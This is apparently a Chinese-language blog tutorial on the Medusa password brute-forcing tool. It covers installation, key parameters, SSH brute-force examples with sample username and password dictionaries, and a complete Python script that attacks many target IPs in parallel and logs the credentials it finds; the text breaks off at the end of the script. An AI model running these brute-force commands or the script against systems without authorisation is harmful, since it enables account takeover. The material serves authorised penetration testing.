Medusa 密码暴力破解工具：从安装到实战的完整教程
在渗透测试和系统安全审计中，密码暴力破解是验证弱口令风险的重要手段。Medusa（美杜莎）作为一款高效的开源暴力破解工具，支持 SSH、FTP、MySQL 等数十种协议，以稳定性和多线程并发能力著称。本文将从环境准备、工具安装、基础使用到自动化脚本实战，带你全面掌握 Medusa 的核心用法（请注意：所有操作需在合法授权下进行，禁止未授权测试！）。
一、环境准备：哪些系统支持 Medusa？
Medusa 基于 Linux 开发，主流支持以下环境：
- 首选系统：Kali Linux（自带渗透测试工具集，推荐 2023 及以上版本）
- 兼容系统：Ubuntu 20.04+/Debian 11+/CentOS Stream 9（需手动安装依赖）
- Windows/macOS：需通过 WSL（Windows 子系统）或 Docker 运行，原生支持较差，建议优先使用 Linux 环境
本文以 Kali Linux 2024 为例，所有命令均经过实测验证。
二、Medusa 安装：两种方式任选
Medusa 的安装分为「官方仓库一键安装」和「源码编译安装」，优先选择仓库安装（简单稳定），仓库无货时再用源码编译。
2.1 方式一：Kali 官方仓库安装（推荐）
Kali 系统默认将 Medusa 纳入官方软件源，只需 2 步即可完成安装：
- 更新软件源列表：确保获取最新的软件包信息，避免版本过时
sudo apt update -y - 安装 Medusa：通过
apt直接安装，自动处理依赖sudo apt install medusa -y - 验证安装：输入以下命令，若显示帮助信息则安装成功
成功标志：输出medusa -hMedusa v2.3 [http://www.foofus.net]及参数列表。
2.2 方式二：源码编译安装（仓库无货时用）
若在非 Kali 系统（如 Ubuntu）或仓库中未找到 Medusa，可通过源码编译安装，步骤如下：
- 安装编译依赖：Medusa 依赖 SSL、SSH 等库，需提前安装
sudo apt install build-essential libssl-dev libssh-dev libpq-dev libmysqlclient-dev -ybuild-essential：提供编译工具（gcc、make 等）libssl-dev：支持 SSL 加密协议（如 HTTPS、FTPS）libssh-dev：支持 SSH 协议破解
- 下载源码包：从官方 GitHub 下载最新版本（以 v2.2 为例，可替换为最新 tag）
wget https://github.com/jmk-foofus/medusa/archive/refs/tags/v2.2.tar.gz - 解压并进入目录：
tar -zxvf v2.2.tar.gz # 解压 cd medusa-2.2 # 进入源码目录 - 配置编译参数：生成 Makefile，适配当前系统
若出现./configureconfigure: error，需检查对应依赖是否安装（如缺失libssh则重新安装libssh-dev）。 - 编译并安装：
make && sudo make install - 验证安装：同方式一，输入
medusa -h查看帮助信息。
三、Medusa 核心参数解析：必懂的 10 个参数
Medusa 的命令格式为 medusa [参数]，掌握以下核心参数，即可应对 90% 的场景：
| 参数 | 作用说明 | 示例 |
|---|---|---|
-h | 指定目标主机（IP / 域名），支持单个目标或目标列表文件（需配合 -H） | -h 192.168.1.100 |
-H | 指定目标列表文件（每行一个 IP / 域名），用于批量破解 | -H targets.txt |
-u | 指定单个用户名（如 root、admin） | -u root |
-U | 指定用户名字典文件（每行一个用户名），用于多用户暴力破解 | -U users.txt |
-p | 指定单个密码 | -p 123456 |
-P | 指定密码字典文件（每行一个密码），核心参数 | -P pass.txt |
-M | 指定破解协议（如 ssh、ftp、mysql），必须指定且正确 | -M ssh |
-n | 指定目标端口（默认用协议默认端口，如 SSH 22、FTP 21） | -n 2222（SSH 非默认端口） |
-t | 指定并发线程数（数值越大速度越快，但易触发防护） | -t 5（建议 3-10 之间） |
-v | 输出详细级别（1-6，4 级以上显示成功结果，6 级显示每步尝试） | -v 4 |
关键提醒：
- 协议参数
-M必须正确，支持的协议可通过medusa -d查看（如ssh、ftp、mysql、http-form等）。 - 字典文件（
-U/-P）需确保「每行一个条目」，无多余空格或空行，否则会导致破解失败。
四、Medusa 实战案例：从单目标到批量破解
结合实际场景，分「单目标测试」「批量破解」「特殊密码处理」三类案例，带你上手 Medusa。
4.1 案例 1：单目标 SSH 破解（基础）
场景：已知目标 IP 为 192.168.1.100，SSH 端口 22，用 users.txt（用户字典）和 pass.txt（密码字典）破解。
- 准备字典文件：
users.txt（用户字典，含常见管理员账号）：root admin ubuntupass.txt（密码字典，含弱口令）：123456 password admin@123 Ruijie!@#0752 # 含特殊字符的密码
- 执行破解命令：
命令解析：medusa -h 192.168.1.100 -U users.txt -P pass.txt -M ssh -t 5 -v 4-h 192.168.1.100：目标 IP-U users.txt/-P pass.txt：指定用户 / 密码字典-M ssh：破解 SSH 协议-t 5：5 线程并发-v 4：显示成功结果
- 查看结果：
- 若破解成功，会输出类似信息：
2025-11-18 15:30:00 ACCOUNT FOUND: [ssh] Host: 192.168.1.100 User: root Password: Ruijie!@#0752 [SUCCESS] - 若失败，会显示
[FAILURE]或无结果输出。
- 若破解成功，会输出类似信息：
4.2 案例 2：批量目标破解（多 IP 场景）
场景：需同时测试多个目标（如 192.168.1.100、192.168.1.101），用目标列表文件批量处理。
- 准备目标列表文件：创建
targets.txt，每行一个 IP：192.168.1.100 192.168.1.101 192.168.1.102 - 执行批量破解命令：将
-h替换为-H，指定目标列表文件：
注意：批量破解时建议降低线程数（如medusa -H targets.txt -U users.txt -P pass.txt -M ssh -t 3 -v 4-t 3），避免多目标同时高并发导致本地 IP 被封。
4.3 案例 3：处理含特殊字符的密码（Zsh 终端）
场景：密码含 !、@、# 等特殊字符（如 Ruijie!@#0752），在 Zsh 终端中直接执行会报错 zsh: event not found。解决方法：用 单引号 ' 包裹密码，避免终端解析特殊字符：
- 单密码测试：直接指定含特殊字符的密码
medusa -h 192.168.1.100 -u admin -p 'Ruijie!@#0752' -M ssh -v 4 - 字典文件测试：若密码在字典中，直接写入
pass.txt即可（无需加引号），Medusa 会自动识别。
五、Medusa 自动化：结合 Python 提升效率
手动执行命令适合单场景测试，若需频繁破解、结果自动记录或动态调整参数，可通过 Python 脚本自动化调度 Medusa。以下为实战脚本，支持批量破解、实时进度监控、成功即停止等功能。
5.1 自动化脚本核心功能
- 批量读取目标列表、用户 / 密码字典
- 实时显示破解进度（百分比 + 已完成次数）
- 检测到有效账号立即停止当前目标破解
- 自动记录成功结果到文件（
success_results.txt） - 兼容含特殊字符的密码，避免终端解析问题
5.2 完整 Python 脚本（medusa_auto.py）
import subprocess
import re
import os
import signal
from multiprocessing import Pool, cpu_count
from functools import partial
def get_file_line_count(file_path):
"""统计文件行数（字典/目标列表条目数）"""
with open(file_path, "r") as f:
return sum(1 for line in f if line.strip() and not line.strip().startswith("#"))
def medusa_brute_ssh(target, user_list, pass_list, output_file):
"""单个目标的 SSH 破解逻辑：实时监控+成功即停止"""
try:
# 统计字典规模，计算总任务量
total_users = get_file_line_count(user_list)
total_passwords = get_file_line_count(pass_list)
total_tasks = total_users * total_passwords
if total_tasks == 0:
return f"❌ 目标 {target}：用户/密码字典为空"
# 构建 Medusa 命令（单目标 5 线程，平衡速度与稳定性）
cmd = [
"medusa",
"-h", target,
"-U", user_list,
"-P", pass_list,
"-M", "ssh",
"-v", "6", # 6 级详细输出，显示每步尝试
"-t", "5", # 单目标并发线程
"-n", "22" # SSH 默认端口
]
print(f"🚀 目标 {target} 开始破解，命令：{' '.join(cmd)}")
print(f"📊 目标 {target} 任务规模：{total_users} 用户 × {total_passwords} 密码 = {total_tasks} 次尝试")
# 启动 Medusa 进程，实时捕获输出
process = subprocess.Popen(
cmd,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
text=True,
shell=False # 禁用 Shell 解析，避免特殊字符问题
)
# 正则表达式：匹配进度和成功结果
progress_pattern = r"Trying username: (.*?) \((\d+)/(\d+)\) \| Password: (.*?) \((\d+)/(\d+)\)"
success_pattern = r"ACCOUNT FOUND: \[ssh\] Host: (.*?) User: (.*?) Password: (.*?) \[SUCCESS\]"
success_found = False
success_result = None
# 实时读取输出，处理进度和结果
for line in process.stdout:
line = line.strip()
print(f"[{target}] {line}") # 区分不同目标的输出
# 检测到成功结果，立即终止进程
success_match = re.search(success_pattern, line)
if success_match:
success_found = True
success_result = (success_match.group(1), success_match.group(2), success_match.group(3))
print(f"\n🎉 目标 {target} 发现有效账号！立即停止破解")
process.send_signal(signal.SIGTERM) # 终止 Medusa 进程
break
# 计算并显示进度
progress_match = re.search(progress_pattern, line)
if progress_match:
user_idx = int(progress_match.group(2))
pwd_idx = int(progress_match.group(5))
current_tasks = (user_idx - 1) * total_passwords + pwd_idx
progress = (current_tasks / total_tasks) * 100
print(f"[{target}] 进度：{progress:.2f}%（{current_tasks}/{total_tasks}）\n")
# 等待进程彻底结束
process.wait()
# 记录成功结果到文件
if success_found and success_result:
host, user, pwd = success_result
log = f"Host: {host}\tUser: {user}\tPassword: {pwd}\n"
with open(output_file, "a") as f:
f.write(log)
return f"✅ 目标 {target} 成功：{log.strip()}"
else:
return f"❌ 目标 {target} 未找到有效账号"
except Exception as e:
return f"⚠️ 目标 {target} 出错：{str(e)}"
def batch_brute_parallel(target_file, user_list, pass_list, output_file, max_parallel=3):
"""多目标并行破解：控制最大并行数，避免资源耗尽"""
# 检查必要文件是否存在
for file_path, name in [
(target_file, "目标列表"),
(user_list, "用户字典"),
(pass_list, "密码字典")
]:
if not os.path.exists(file_path):
print(f"❌ 错误：{name}文件 {file_path} 不存在")
return
# 读取目标列表（支持 # 注释行）
with open(target_file, "r") as f:
targets = [
line.strip() for line in f
if line.strip() and not line.strip().startswith("#")
]
if not targets:
print("❌ 目标列表为空，无需执行破解")
return
# 确保结果文件存在（即使无成功结果）
open(output_file, "a").close()
print(f"\n📋 批量破解任务启动：共 {len(targets)} 个目标，最大并行数 {max_parallel}\n")
# 使用进程池并行处理目标（限制并行数）
with Pool(processes=max_parallel) as pool:
# 固定字典和输出文件参数，仅传入目标
func = partial(medusa_brute_ssh, user_list=user_list, pass_list=pass_list, output_file=output_file)
results = pool.map(func, targets)
# 汇总并打印所有目标结果
print("\n" + "="*50)
print("📊 所有目标破解完成，结果汇总：")
print("="*50)
for res in results:
print(res)
if __name__ == "__main__":
# 配置文件路径（脚本所在目录为基准）
script_dir = os.path.dirname(os.path.abspath(__file__))
TARGET_FILE = os.path.join(script_dir, "targets.txt") # 目标列表
USER_LIST = os.path.join(script_dir, "users.txt") # 用户字典
PASS_LIST = os.path.join(script_dir, "pass.txt") # 密码字典
OUTPUT_FILE = os.path.join(script_dir, "success_results.txt") # 结果文件
# 最大并行数：建议设为 CPU 核心数 × 2（此处限制为 3，避免高并发风险）
MAX_PARALLEL = min(3, cpu_count() * 2)
# 启动批量并行破解
batch_brute_parallel(TARGET_FILE, USER_LIST, PASS_LIST, OUTPUT_FILE, max_parallel=MAX_PARALLEL)
print(f"\n
扫一扫
5915
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
